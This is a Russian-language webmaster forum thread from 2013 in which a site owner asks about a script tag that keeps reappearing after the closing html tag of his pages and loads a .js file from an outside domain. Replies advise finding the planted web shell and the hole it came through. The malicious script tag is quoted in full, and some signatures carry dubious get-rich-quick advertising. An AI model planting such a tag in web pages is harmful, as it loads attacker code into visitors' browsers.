неизвестный скрипт

57

Egoistik

1 апреля 2013, 03:23

487

подскажите пожалуйста что это и как от этого избавится ?

</body>

</html><script src="http://lmurfrt.dontexist.org/rsize.js"></script>

Помогу с мелкими вопросами по Wordpress ICQ- 448858859, Skype- oman6661

125

andrey90

1 апреля 2013, 03:52

#1

Удали строчку <script src="http://lmurfrt.dontexist.org/rsize.js"></script>

или оно снова добавляется?

https://goo.gl/tJuFX - Заработай на продаже авиабилетов 1 000 000 $ уже сегодня https://goo.gl/y6tpS - Кредиты WebMoney с задолженностью WMC

57

Egoistik

1 апреля 2013, 03:58

#2

andrey90:
Удали строчку <script src="http://lmurfrt.dontexist.org/rsize.js"></script>
или оно снова добавляется?

ну так в этом то и вся проблема где эта строчка я не знаю и найти её не могу (в редакторе её нне показывает ) после замены на чистую версию (резервную копию) через 2-а дня опять появляется

125

andrey90

1 апреля 2013, 04:30

#3

Для начала надо шелл найти, через него строка прописывается, поищи в коде что-то вроде base64 она скорее всего зашифрована или подключается через include или через script.

Двиг какой у пациента?

SG

11

security-guru

1 апреля 2013, 04:36

#4

andrey90:
Для начала надо шелл найти, через него строка прописывается, поищи в коде что-то вроде base64 она скорее всего зашифрована или подключается через include или через script.
Двиг какой у пациента?

сначала шелл, потом дыру через которую влили шелл.

Безопасный хостинг с администрированием http://seahost.ru (http://seahost.ru) Аудит безопасности сайтов, приложений, удаление вирусов http://security-gu.ru (http://security-gu.ru)

IL

435

ivan-lev

1 апреля 2013, 05:05

#5

Egoistik,

см тему /ru/forum/774117

... :) Облачные серверы от RegRu - промокод 3F85-3D10-806D-7224 ( http://levik.info/regru )

Яндекс Вебмастер вынес товарные фиды в отдельный раздел

Зачем быть уникальным в мире, где все можно скопировать